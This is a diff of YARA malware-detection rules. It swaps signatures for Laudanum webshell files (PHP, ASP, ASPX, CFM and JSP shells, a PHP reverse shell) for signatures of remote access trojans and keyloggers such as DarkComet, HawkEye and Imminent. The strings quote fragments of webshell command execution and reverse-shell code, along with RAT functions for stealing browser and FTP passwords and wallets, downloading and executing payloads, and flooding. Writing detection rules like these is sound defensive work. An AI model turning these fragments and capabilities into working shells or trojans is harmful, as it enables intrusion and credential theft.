-		uint16(0)==0x253c and filesize <30KB and 5 of them
+		all of them
 }
-rule SIGNATURE_BASE_Php_Killnc : FILE
+rule SIGNATURE_BASE_RAT_Bozok
 {
 	meta:
-		description = "Laudanum Injector Tools - file killnc.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "241611d3-3636-5a25-b3c3-d45d6cb81c78"
-		date = "2015-06-22"
+		description = "Detects Bozok RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "b1d22e8c-39aa-52e7-9ca8-2b35bb82f7de"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L28-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c0dee56ee68719d5ec39e773621ffe40b144fda5"
-		logic_hash = "431a9a66f5d0e42856ca5716c2994c018f77cc338300abd71d94ffe7e75da3bf"
+		reference = "http://malwareconfig.com/stats/Bozok"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L186-L206"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9a2fcd11573654f0c91c0c0dec8938ca8319a23953a5043135cb0032562f9f53"
 		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		quality = 75
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "if ($_SERVER[\"REMOTE_ADDR\"] == $IP)" fullword ascii
-		$s2 = "header(\"HTTP/1.0 404 Not Found\");" fullword ascii
-		$s3 = "<?php echo exec('killall nc');?>" fullword ascii
-		$s4 = "<title>Laudanum Kill nc</title>" fullword ascii
-		$s5 = "foreach ($allowedIPs as $IP) {" fullword ascii
+		$a = "getVer" nocase
+		$b = "StartVNC" nocase
+		$c = "SendCamList" nocase
+		$d = "untPlugin" nocase
+		$e = "gethostbyname" nocase
 
 	condition:
-		filesize <15KB and 4 of them
+		all of them
 }
-rule SIGNATURE_BASE_Asp_Shell : FILE
+rule SIGNATURE_BASE_RAT_Clientmesh : TORCT
 {
 	meta:
-		description = "Laudanum Injector Tools - file shell.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3ae27254-325a-5358-b5aa-ab24b43ad5a6"
-		date = "2015-06-22"
+		description = "Detects ClientMesh RAT"
+		author = "Kevin Breen <kevin@techanarchy.net> (slightly modified by Florian Roth to improve performance)"
+		id = "351df33e-d3a1-5fe8-be38-edb43bc5d38f"
+		date = "2014-01-06"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L47-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8bf1ff6f8edd45e3102be5f8a1fe030752f45613"
-		logic_hash = "af9c5cf7125e1210761e720c5f30527ac6345b5029b087807309000a29b67f6e"
+		reference = "http://malwareconfig.com/stats/ClientMesh"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L208-L228"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "671da9586110726b1646d4365ccaa87982ec7c86b7d4d80b99dbb444496b936c"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "TORCT"
+		family = "torct"
 
 	strings:
-		$s1 = "<form action=\"shell.asp\" method=\"POST\" name=\"shell\">" fullword ascii
-		$s2 = "%ComSpec% /c dir" fullword ascii
-		$s3 = "Set objCmd = wShell.Exec(cmd)" fullword ascii
-		$s4 = "Server.ScriptTimeout = 180" fullword ascii
-		$s5 = "cmd = Request.Form(\"cmd\")" fullword ascii
-		$s6 = "' ***  http://laudanum.secureideas.net" fullword ascii
-		$s7 = "Dim wshell, intReturn, strPResult" fullword ascii
+		$string1 = "machinedetails"
+		$string2 = "MySettings"
+		$string3 = "sendftppasswords"
+		$string4 = "sendbrowserpasswords"
+		$string5 = "arma2keyMass"
+		$string6 = "keylogger"
 
 	condition:
-		filesize <15KB and 4 of them
+		all of them
 }
-rule SIGNATURE_BASE_Settings : FILE
+rule SIGNATURE_BASE_RAT_Cybergate
 {
 	meta:
-		description = "Laudanum Injector Tools - file settings.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "054b8723-fdfa-51dc-91ae-b915e40b2e54"
-		date = "2015-06-22"
+		description = "Detects CyberGate RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "387e7c89-c766-54cf-aac0-3ba03092bc25"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L68-L83"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "588739b9e4ef2dbb0b4cf630b73295d8134cc801"
-		logic_hash = "b02e293e659fa77257d0642c57e51d6ae712d9221ae295cf69bb845f68c650ee"
+		reference = "http://malwareconfig.com/stats/CyberGate"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L230-L254"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6b3861ae5e6bd6478e9d8024b0e67a3ac1dbf31083b77477364c55b51d0ed9b5"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "Port: <input name=\"port\" type=\"text\" value=\"8888\">" fullword ascii
-		$s2 = "<li>Reverse Shell - " fullword ascii
-		$s3 = "<li><a href=\"<?php echo plugins_url('file.php', __FILE__);?>\">File Browser</a>" ascii
+		$string1 = {23 23 23 23 40 23 23 23 23 E8 EE E9 F9 23 23 23 23 40 23 23 23 23}
+		$string2 = {23 23 23 23 40 23 23 23 23 FA FD F0 EF F9 23 23 23 23 40 23 23 23 23}
+		$string3 = "EditSvr"
+		$string4 = "TLoader"
+		$string5 = "Stroks"
+		$string6 = "####@####"
+		$res1 = "XX-XX-XX-XX"
+		$res2 = "CG-CG-CG-CG"
 
 	condition:
-		filesize <13KB and all of them
+		all of ($string*) and any of ($res*)
 }
-rule SIGNATURE_BASE_Asp_Proxy : FILE
+rule SIGNATURE_BASE_RAT_Darkcomet
 {
 	meta:
-		description = "Laudanum Injector Tools - file proxy.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6193b48a-b3da-5c1e-84e8-0035d9e7ade6"
-		date = "2015-06-22"
+		description = "Detects DarkComet RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "e6fd0269-dd0c-58c0-a1a3-24c2aed916ee"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L85-L103"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "51e97040d1737618b1775578a772fa6c5a31afd8"
-		logic_hash = "f53c97a2bf31f411b3220dc741b85d0edf96e9b92474f1abd5ac443be6b92897"
+		reference = "http://malwareconfig.com/stats/DarkComet"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L256-L282"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "db139f754f89affc706e090a41bfcd30cf49f9d4e16ade89993ee170f92cf68b"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "'response.write \"<br/>  -value:\" & request.querystring(key)(j)" fullword ascii
-		$s2 = "q = q & \"&\" & key & \"=\" & request.querystring(key)(j)" fullword ascii
-		$s3 = "for each i in Split(http.getAllResponseHeaders, vbLf)" fullword ascii
-		$s4 = "'urlquery = mid(urltemp, instr(urltemp, \"?\") + 1)" fullword ascii
-		$s5 = "s = urlscheme & urlhost & urlport & urlpath" fullword ascii
-		$s6 = "Set http = Server.CreateObject(\"Microsoft.XMLHTTP\")" fullword ascii
+		$a1 = "#BOT#URLUpdate"
+		$a2 = "Command successfully executed!"
+		$a3 = "MUTEXNAME" wide
+		$a4 = "NETDATA" wide
+		$b1 = "FastMM Borland Edition"
+		$b2 = "%s, ClassID: %s"
+		$b3 = "I wasn't able to open the hosts file"
+		$b4 = "#BOT#VisitUrl"
+		$b5 = "#KCMDDC"
 
 	condition:
-		filesize <50KB and all of them
+		all of ($a*) or all of ($b*)
 }
-rule SIGNATURE_BASE_Cfm_Shell : FILE
+rule SIGNATURE_BASE_RAT_Darkrat
 {
 	meta:
-		description = "Laudanum Injector Tools - file shell.cfm"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5308eecf-a59f-5100-ab60-5034c5b73e7e"
-		date = "2015-06-22"
+		description = "Detects DarkRAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "8283236a-6ed1-5213-8386-a029867b9677"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L105-L120"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "885e1783b07c73e7d47d3283be303c9719419b92"
-		logic_hash = "961eb398422e3c528b886c150f11dcb8a6832f0ea48e20ddc381e1f2740bd0c6"
+		reference = "http://malwareconfig.com/stats/DarkRAT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L284-L306"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dccb473a3cf4478dd1dbf8b35ad564f59740676ecde90266a0dc15cbad89bfe7"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "Executable: <Input type=\"text\" name=\"cmd\" value=\"cmd.exe\"><br>" fullword ascii
-		$s2 = "<cfif ( #suppliedCode# neq secretCode )>" fullword ascii
-		$s3 = "<cfif IsDefined(\"form.cmd\")>" fullword ascii
+		$a = "@1906dark1996coder@"
+		$b = "SHEmptyRecycleBinA"
+		$c = "mciSendStringA"
+		$d = "add_Shutdown"
+		$e = "get_SaveMySettingsOnExit"
+		$f = "get_SpecialDirectories"
+		$g = "Client.My"
 
 	condition:
-		filesize <20KB and 2 of them
+		all of them
 }
-rule SIGNATURE_BASE_Aspx_Shell : FILE
+rule SIGNATURE_BASE_RAT_Greame
 {
 	meta:
-		description = "Laudanum Injector Tools - file shell.aspx"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d4287007-79af-59fa-b8c8-3ac08d75b3bd"
-		date = "2015-06-22"
+		description = "Detects Greame RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "b90d3747-407a-5552-971f-78ff78f827a6"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L122-L138"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "076aa781a004ecb2bf545357fd36dcbafdd68b1a"
-		logic_hash = "b31c36f53d46e17b6d97e582e46c540928a386e2075b841f5c11b959a0c68462"
+		reference = "http://malwareconfig.com/stats/Greame"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L308-L331"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4a1ce5f5847bdc01d286c1d9cd1e16ba2fd6b5bc56e6094cb1492882708e8e59"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "remoteIp = HttpContext.Current.Request.Headers[\"X-Forwarded-For\"].Split(new" ascii
-		$s2 = "remoteIp = Request.UserHostAddress;" fullword ascii
-		$s3 = "<form method=\"post\" name=\"shell\">" fullword ascii
-		$s4 = "<body onload=\"document.shell.c.focus()\">" fullword ascii
+		$a = {23 23 23 23 40 23 23 23 23 E8 EE E9 F9 23 23 23 23 40 23 23 23 23}
+		$b = {23 23 23 23 40 23 23 23 23 FA FD F0 EF F9 23 23 23 23 40 23 23 23 23}
+		$c = "EditSvr"
+		$d = "TLoader"
+		$e = "Stroks"
+		$f = "Avenger by NhT"
+		$g = "####@####"
+		$h = "GREAME"
 
 	condition:
-		filesize <20KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Php_Shell : FILE
+rule SIGNATURE_BASE_RAT_Hawkeye
 {
 	meta:
-		description = "Laudanum Injector Tools - file shell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8d3dcb16-090b-5a9f-b3d2-3822ec467f69"
-		date = "2015-06-22"
+		description = "Detects HawkEye RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "22b1d1e6-feea-5f84-9564-326ad80bbd8d"
+		date = "2015-01-06"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L140-L156"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dc5c03a21267d024ef0f5ab96a34e3f6423dfcd6"
-		logic_hash = "dc798508434686bbcb4fa0bb47381252bfa0491b0987956fd4c5aa13b7f57810"
+		reference = "http://malwareconfig.com/stats/HawkEye"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L333-L357"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "db3a0fe5774f0d137e092a4eb9672a4518d0ef943a1a4619cb646a9ac9f74ee0"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		maltype = "KeyLogger"
+		filetype = "exe"
 
 	strings:
-		$s1 = "command_hist[current_line] = document.shell.command.value;" fullword ascii
-		$s2 = "if (e.keyCode == 38 && current_line < command_hist.length-1) {" fullword ascii
-		$s3 = "array_unshift($_SESSION['history'], $command);" fullword ascii
-		$s4 = "if (preg_match('/^[[:blank:]]*cd[[:blank:]]*$/', $command)) {" fullword ascii
+		$key = "HawkEyeKeylogger" wide
+		$salt = "099u787978786" wide
+		$string1 = "HawkEye_Keylogger" wide
+		$string2 = "holdermail.txt" wide
+		$string3 = "wallet.dat" wide
+		$string4 = "Keylog Records" wide
+		$string5 = "<!-- do not script -->" wide
+		$string6 = "\\pidloc.txt" wide
+		$string7 = "BSPLIT" wide
 
 	condition:
-		filesize <40KB and all of them
+		$key and $salt and all of ($string*)
 }
-rule SIGNATURE_BASE_Php_Reverse_Shell : FILE
+rule SIGNATURE_BASE_RAT_Imminent
 {
 	meta:
-		description = "Laudanum Injector Tools - file php-reverse-shell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "306d150f-95a8-57fd-8f5e-786c429af6b3"
-		date = "2015-06-22"
+		description = "Detects Imminent RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "deddef60-c309-54e0-a488-ce937ed7eae3"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L158-L173"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3ef03bbe3649535a03315dcfc1a1208a09cea49d"
-		logic_hash = "ea8e320abb57e0467db92271f7d36f144f85e04ce15cd9fa8d3f53dfa8d43929"
+		reference = "http://malwareconfig.com/stats/Imminent"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L359-L389"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aebae753c119950b0b3f315c7279866caf15f4d482c0a47912c90885adcf6db2"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "$process = proc_open($shell, $descriptorspec, $pipes);" fullword ascii
-		$s2 = "printit(\"Successfully opened reverse shell to $ip:$port\");" fullword ascii
-		$s3 = "$input = fread($pipes[1], $chunk_size);" fullword ascii
+		$v1a = "DecodeProductKey"
+		$v1b = "StartHTTPFlood"
+		$v1c = "CodeKey"
+		$v1d = "MESSAGEBOX"
+		$v1e = "GetFilezillaPasswords"
+		$v1f = "DataIn"
+		$v1g = "UDPzSockets"
+		$v1h = {52 00 54 00 5F 00 52 00 43 00 44 00 41 00 54 00 41}
+		$v2a = "<URL>k__BackingField"
+		$v2b = "<RunHidden>k__BackingField"
+		$v2c = "DownloadAndExecute"
+		$v2d = "-CHECK & PING -n 2 127.0.0.1 & EXIT" wide
+		$v2e = "england.png" wide
+		$v2f = "Showed Messagebox" wide
 
 	condition:
-		filesize <15KB and all of them
+		all of ($v1*) or all of ($v2*)
 }
-rule SIGNATURE_BASE_Php_Dns : FILE
+rule SIGNATURE_BASE_RAT_Infinity
 {
 	meta:
-		description = "Laudanum Injector Tools - file dns.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a52e453b-07aa-58b9-91e7-f2426a8e8976"
-		date = "2015-06-22"
+		description = "Detects Infinity RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "b70f9459-fa84-516f-841d-d9617856eb4d"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L175-L191"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "01d5d16d876c55d77e094ce2b9c237de43b21a16"
-		logic_hash = "650eecc06f215ae6a15078c87d8a8c1597ca9e3d735eacd17b046a9d9deb6aa8"
+		reference = "http://malwareconfig.com/stats/Infinity"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L391-L414"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c1f5381755af6cfbb10a4769757cdeffb9651bddc76bc4c8e9765ed44bf37fe6"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "$query = isset($_POST['query']) ? $_POST['query'] : '';" fullword ascii
-		$s2 = "$result = dns_get_record($query, $types[$type], $authns, $addtl);" fullword ascii
-		$s3 = "if ($_SERVER[\"REMOTE_ADDR\"] == $IP)" fullword ascii
-		$s4 = "foreach (array_keys($types) as $t) {" fullword ascii
+		$a = "CRYPTPROTECT_PROMPTSTRUCT"
+		$b = "discomouse"
+		$c = "GetDeepInfo"
+		$d = "AES_Encrypt"
+		$e = "StartUDPFlood"
+		$f = "BATScripting" wide
+		$g = "FBqINhRdpgnqATxJ.html" wide
+		$i = "magic_key" wide
 
 	condition:
-		filesize <15KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_WEB_INF_Web : FILE
+rule SIGNATURE_BASE_RAT_Lostdoor
 {
 	meta:
-		description = "Laudanum Injector Tools - file web.xml"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8d0a008c-56d1-59ef-8521-0697add21ba9"
-		date = "2015-06-22"
+		description = "Detects LostDoor RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "f86ae7a1-2182-5b2e-8f9e-9e8456f574bc"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L193-L207"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0251baed0a16c451f9d67dddce04a45dc26cb4a3"
-		logic_hash = "b58bb63a5268812ed6a5d18c8da96b0fdae33e4802a2fba4964ab69e92517a16"
+		reference = "http://malwareconfig.com/stats/LostDoor"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L440-L465"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7ffa6f5cbeacca5a1e750e35d8296658d4e280078a61f94fd5f2d4b7c800bb44"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "<servlet-name>Command</servlet-name>" fullword ascii
-		$s2 = "<jsp-file>/cmd.jsp</jsp-file>" fullword ascii
+		$a0 = {0D 0A 2A 45 44 49 54 5F 53 45 52 56 45 52 2A 0D 0A}
+		$a1 = "*mlt* = %"
+		$a2 = "*ip* = %"
+		$a3 = "*victimo* = %"
+		$a4 = "*name* = %"
+		$b5 = "[START]"
+		$b6 = "[DATA]"
+		$b7 = "We Control Your Digital World" wide ascii
+		$b8 = "RC4Initialize" wide ascii
+		$b9 = "RC4Decrypt" wide ascii
 
 	condition:
-		filesize <1KB and all of them
+		all of ($a*) or all of ($b*)
 }
-rule SIGNATURE_BASE_Jsp_Cmd : FILE
+rule SIGNATURE_BASE_RAT_Luminositylink
 {
 	meta:
-		description = "Laudanum Injector Tools - file cmd.war"
-		author = "Florian Roth (Nextron Systems)"
-		id = "74db62b8-82d5-5a34-aa72-2f85053715a4"
-		date = "2015-06-22"
+		description = "Detects LuminosityLink RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "163fe10c-38a1-53d3-b3a5-4240229e0306"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L209-L226"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "55e4c3dc00cfab7ac16e7cfb53c11b0c01c16d3d"
-		logic_hash = "ab5b013a385549322bcb2811fa1a2d14b5633e2c41b9486b1e1c50c02437b8e6"
+		reference = "http://malwareconfig.com/stats/LuminosityLink"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L467-L493"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5e70e3e0885d098f1ac2bcc324cd8ad2682fbfc395f189cabc4a4f97a0109682"
 		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		quality = 60
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s0 = "cmd.jsp}" fullword ascii
-		$s1 = "cmd.jspPK" fullword ascii
-		$s2 = "WEB-INF/web.xml" fullword ascii
-		$s3 = "WEB-INF/web.xmlPK" fullword ascii
-		$s4 = "META-INF/MANIFEST.MF" fullword ascii
+		$a = "SMARTLOGS" wide
+		$b = "RUNPE" wide
+		$c = "b.Resources" wide
+		$d = "CLIENTINFO*" wide
+		$e = "Invalid Webcam Driver Download URL, or Failed to Download File!" wide
+		$f = "Proactive Anti-Malware has been manually activated!" wide
+		$g = "REMOVEGUARD" wide
+		$h = "C0n1f8" wide
+		$i = "Luminosity" wide
+		$j = "LuminosityCryptoMiner" wide
+		$k = "MANAGER*CLIENTDETAILS*" wide
 
 	condition:
-		uint16(0)==0x4b50 and filesize <2KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Laudanum : FILE
+rule SIGNATURE_BASE_RAT_Luxnet
 {
 	meta:
-		description = "Laudanum Injector Tools - file laudanum.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8c836aba-3644-5914-a3ff-937d0a6cd378"
-		date = "2015-06-22"
+		description = "Detects LuxNet RAT"
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		id = "277db509-5ba0-5d1b-b17a-d5914f1f1650"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_laudanum_webshells.yar#L228-L242"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "fd498c8b195967db01f68776ff5e36a06c9dfbfe"
-		logic_hash = "53caad87d22b5f13e5b7be8720baa1d436cc57d8062ec5d557df8524a2ccfb68"
+		reference = "http://malwareconfig.com/stats/LuxNet"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rats_malwareconfig.yar#L495-L516"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "55d872e2e30f6d55a6f91750bbb52675042e4673d712a4f2417af43b0f2c4fb9"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
 
 	strings:
-		$s1 = "public function __activate()" fullword ascii
-		$s2 = "register_activation_hook(__FILE__, array('WP_Laudanum', 'activate'));" fullword ascii
+		$a = "GetHashCode"
+		$b = "Activator"
+		$c = "WebClient"
+		$d = "op_Equality"
+		$e = "dickcursor.cur" wide
+		$f = "{0}|{1}|{2}" wide
 
 	condition:
-		filesize <5KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Php_File : FILE
+rule SIGNATURE_BASE_RAT_Netwire
 {
 	meta:
-		description = "Laudanum Injector Tools - file file.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "68456891-6828-5e42-b8a0-67ecaf83cdc0"
-		date = "2015-06-22"
+		description = "Detects NetWire RAT"
+		author = "Kevin Breen <kevin@techanarchy.net> & David Cannings"
+		id = "f0077e8c-3e6a-5a98-9171-b0d81f24d27a"
+		date = "2014-01-04"
 		modified = "2023-12-05"
-		reference = "http://laudanum.inguardians.com/"
